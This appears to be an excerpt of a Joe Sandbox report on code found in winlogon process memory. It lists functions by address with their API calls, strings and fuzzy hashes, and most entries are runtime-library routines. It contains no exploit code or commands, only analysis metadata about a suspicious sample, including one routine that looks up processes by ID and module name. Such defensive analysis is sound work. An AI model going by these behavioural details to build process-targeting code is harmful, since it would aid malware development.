Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: FE61FB3A119F94D6E760CB99E45831AB7E0F388785F10955AEA8D47FA8DB7CC541CF00

Function 00000225DC645B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645B56

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a399a8a3480e5286733dee629d595f0dfa00166fbe197ee651739a5ca29e7d23
Instruction ID: a71204ad736724b85443c3307d09df296dc5beec14a2dc070c75e0221bedc93a
Opcode Fuzzy Hash: a399a8a3480e5286733dee629d595f0dfa00166fbe197ee651739a5ca29e7d23
Instruction Fuzzy Hash: E961CD3A51DF94D6E760CB99E45831AB7E0F388785F50915AEA8E47BA8DB7CC540CF00

Function 00000225DC684534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC68455C
_set_statfp.LIBCMT ref: 00000225DC684577
_set_statfp.LIBCMT ref: 00000225DC684593
_set_statfp.LIBCMT ref: 00000225DC6845CF

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 7322198d80e44e497bc7a289fd2cdf6cd2da7f702028459f513855af0387f513
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0711827BA50E3125FA54D2ECE47E37D1181EF5C37AF48C634AA76166EACB388845C203

Function 00000225DC623934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC62395C
_set_statfp.LIBCMT ref: 00000225DC623977
_set_statfp.LIBCMT ref: 00000225DC623993
_set_statfp.LIBCMT ref: 00000225DC6239CF

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 72e154a6b4cae6404a3d4c4bb79bc8880f4dc1766344bfd7bec36ab6af0a240d
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 6F11063AE04E3161FA5416ECE44E369C045AB57B72F05C635AA770E2DAEB348885E100

Function 00000225DC654534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC65455C
_set_statfp.LIBCMT ref: 00000225DC654577
_set_statfp.LIBCMT ref: 00000225DC654593
_set_statfp.LIBCMT ref: 00000225DC6545CF

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: ee21d0f83ec9541119527f3577d3b73e221ed8c0e9043e265e4204de05dff962
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0311863BA30E3121FB5412EDE45D3791191EF9837AF78C6B4AA77066DECB388945C200

Function 00000225DC67AE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC67AE98
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC67AEE7

Strings

MOC, xrefs: 00000225DC67AEAC
RCC, xrefs: 00000225DC67AEB5

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 19ac1e544695c7c8cc9d33951118051c7b4729e4b68dabd50510bed835dde96b
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: 2D61997B600F949AEB20CFA9D4843AD77A0F388B89F149615EF5917F9ADB38C585C700

Function 00000225DC64AE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC64AE98
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC64AEE7

Strings

MOC, xrefs: 00000225DC64AEAC
RCC, xrefs: 00000225DC64AEB5

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 01ae105a6c3837a234ab14f732a3daf1352ec0095d2bc56e3ded02a5a07e3e39
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: 9161CE7B60CF94AAEB60CFA9D04439D77A1F348B89F148255EF5A13B99DB38C485C700

Function 00000225DC67B1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC67B1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC67B2B8

Strings

csm, xrefs: 00000225DC67B30A
csm, xrefs: 00000225DC67B1F2

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 1192e165236138bb11f34f6d3f9c5d4677eb9750fe728f24835b1bdbfb99651f
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: C551D63A104BA0E6EB748F99D44836D77A0F395B96F14DA15DB5987FD5CB38C890C700

Function 00000225DC61A5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC61A5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC61A6B8

Strings

csm, xrefs: 00000225DC61A5F2
csm, xrefs: 00000225DC61A70A

Memory Dump Source

Source File: 00000045.00000003.1768686905.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_225dc610000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 483296107c23689895028ca8bef6d8b28cf40f2ec694d9ee99b3c2fae934abae
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 0951D13E101BA0E6EF748FAAD44835877A0F354B97F24C216EA9987BD6CB38D551CB00

Function 00000225DC64B1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC64B1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC64B2B8

Strings

csm, xrefs: 00000225DC64B1F2
csm, xrefs: 00000225DC64B30A

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 3f41ab7ce8519959cbad1de455fb2c3e84bf3999aa78db3a38c3eb7572837df2
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: AD51933A10CF60E6EB648FAAD44836D7791F395B8AF14C255DB4A87BD6CB38C451C700

Function 00000225DC673554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000225DC673576
StrStrW.SHLWAPI ref: 00000225DC673594
StrToIntW.SHLWAPI ref: 00000225DC6735BB

Part of subcall function 00000225DC671934: OpenProcess.KERNEL32 ref: 00000225DC67195A
Part of subcall function 00000225DC671934: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC671978
Part of subcall function 00000225DC671934: PathFindFileNameW.SHLWAPI ref: 00000225DC671987
Part of subcall function 00000225DC671934: lstrlenW.KERNEL32 ref: 00000225DC671993
Part of subcall function 00000225DC671934: StrCpyW.SHLWAPI ref: 00000225DC6719A6
Part of subcall function 00000225DC671934: CloseHandle.KERNEL32 ref: 00000225DC6719B4

Part of subcall function 00000225DC673C74: StrCmpNIW.SHLWAPI(?,?,?,00000225DC67254B), ref: 00000225DC673C8C

Strings

pid_, xrefs: 00000225DC67356C

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 4056b5c2b8063a5704fc5948a2cc825df2d40e837e061ba2018861c5dd828e58
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: 4F115429314F62B2FB50DBADE81979952A4FB44B92FA085319E4993FD4EF38C905C740

Function 00000225DC643554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000225DC643576
StrStrW.SHLWAPI ref: 00000225DC643594
StrToIntW.SHLWAPI ref: 00000225DC6435BB

Part of subcall function 00000225DC641934: OpenProcess.KERNEL32 ref: 00000225DC64195A
Part of subcall function 00000225DC641934: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641978
Part of subcall function 00000225DC641934: PathFindFileNameW.SHLWAPI ref: 00000225DC641987
Part of subcall function 00000225DC641934: lstrlenW.KERNEL32 ref: 00000225DC641993
Part of subcall function 00000225DC641934: StrCpyW.SHLWAPI ref: 00000225DC6419A6
Part of subcall function 00000225DC641934: CloseHandle.KERNEL32 ref: 00000225DC6419B4

Part of subcall function 00000225DC643C74: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64254B), ref: 00000225DC643C8C

Strings

pid_, xrefs: 00000225DC64356C

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 07f90da04163dc3b659dd41bba0112b6b973e66babdd7fa66952a63cce6603ae
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: 1211842931CF66B1FB50D7ADE80939972A0F744B92F9081719E4A93B94EF38C945C740

Function 00000225DC682488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC682507
WriteFile.KERNEL32 ref: 00000225DC6827CF
WriteFile.KERNEL32 ref: 00000225DC682815
GetLastError.KERNEL32 ref: 00000225DC6828CB

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: aa7b0206ff3034d73e68d8f770ffb95cbc7ed05fd63c629f7674de48f24b2dcd
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: 97D12176B04E90AAEB12CFF9D44839C37B1FB54B99F408216CE5997BD9CA34C44AC741

Function 00000225DC652488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC652507
WriteFile.KERNEL32 ref: 00000225DC6527CF
WriteFile.KERNEL32 ref: 00000225DC652815
GetLastError.KERNEL32 ref: 00000225DC6528CB

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: 57ee99270b9c1eaf48f50f5fff10c1dcedfced4da08985b2ef85061a5fb2925f
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: B8D1F136B24E90A9E712CFFDD44839C37B1F354B99F248216CE5A97B99DA34C44AC740

Function 00000225DC6714A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6714C5
HeapFree.KERNEL32 ref: 00000225DC6714D4
GetProcessHeap.KERNEL32 ref: 00000225DC6714E1
HeapFree.KERNEL32 ref: 00000225DC6714F0
GetProcessHeap.KERNEL32 ref: 00000225DC671500

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: d198d0402c3cd64bf19a3c42572fc19e99f05a35975699a57ecc9879073096a2
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 30011E3A610EA0D6D744DFEAE80C25AB7A1FB88F82F448425EB8A5775ADE38C455C740

Function 00000225DC6414A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6414C5
HeapFree.KERNEL32 ref: 00000225DC6414D4
GetProcessHeap.KERNEL32 ref: 00000225DC6414E1
HeapFree.KERNEL32 ref: 00000225DC6414F0
GetProcessHeap.KERNEL32 ref: 00000225DC641500

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: ae5a94581dd254dcea49812c76861850ded1eacc24209e508c0d2b977c515518
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: AD01213A614EA0D6D754DFEEE80815AB7A1F788F82F148425EF4A53B19DF38C455C740

Function 00000225DC682DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC682D9B), ref: 00000225DC682ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC682D9B), ref: 00000225DC682F57

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: 3c1f05aba021795ff7175e063720aa5e6c5463a2587f973e92fd774eacd69bd0
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: C191E77A710E70A5F762DFAD94883AD2BA0FB44B8AF54C119DE0A67BC5DB34C446C702

Function 00000225DC652DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC652D9B), ref: 00000225DC652ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000225DC652D9B), ref: 00000225DC652F57

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: 6abb4479ed5ce15c474aeea384350e77a5f7a21677473c94f47e63f0f9e8d521
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: 5891C57A720E70A5F7629FED94883AD3BA0F744F8AF248119DE0A57B95DB35C486C700

Function 00000225DC677D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC677DBC
GetCurrentThreadId.KERNEL32 ref: 00000225DC677DCA
GetCurrentProcessId.KERNEL32 ref: 00000225DC677DD6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC677DE6

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: e5c13c2da8d7d5dbcbc508a7cc06e0c60fad03daceb6359ca316b1c5a3530366
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: 21115E2A714F109AEF00CFA4E8593A833A4F719759F440E21DB6D4A7A4DF78C1A8C381

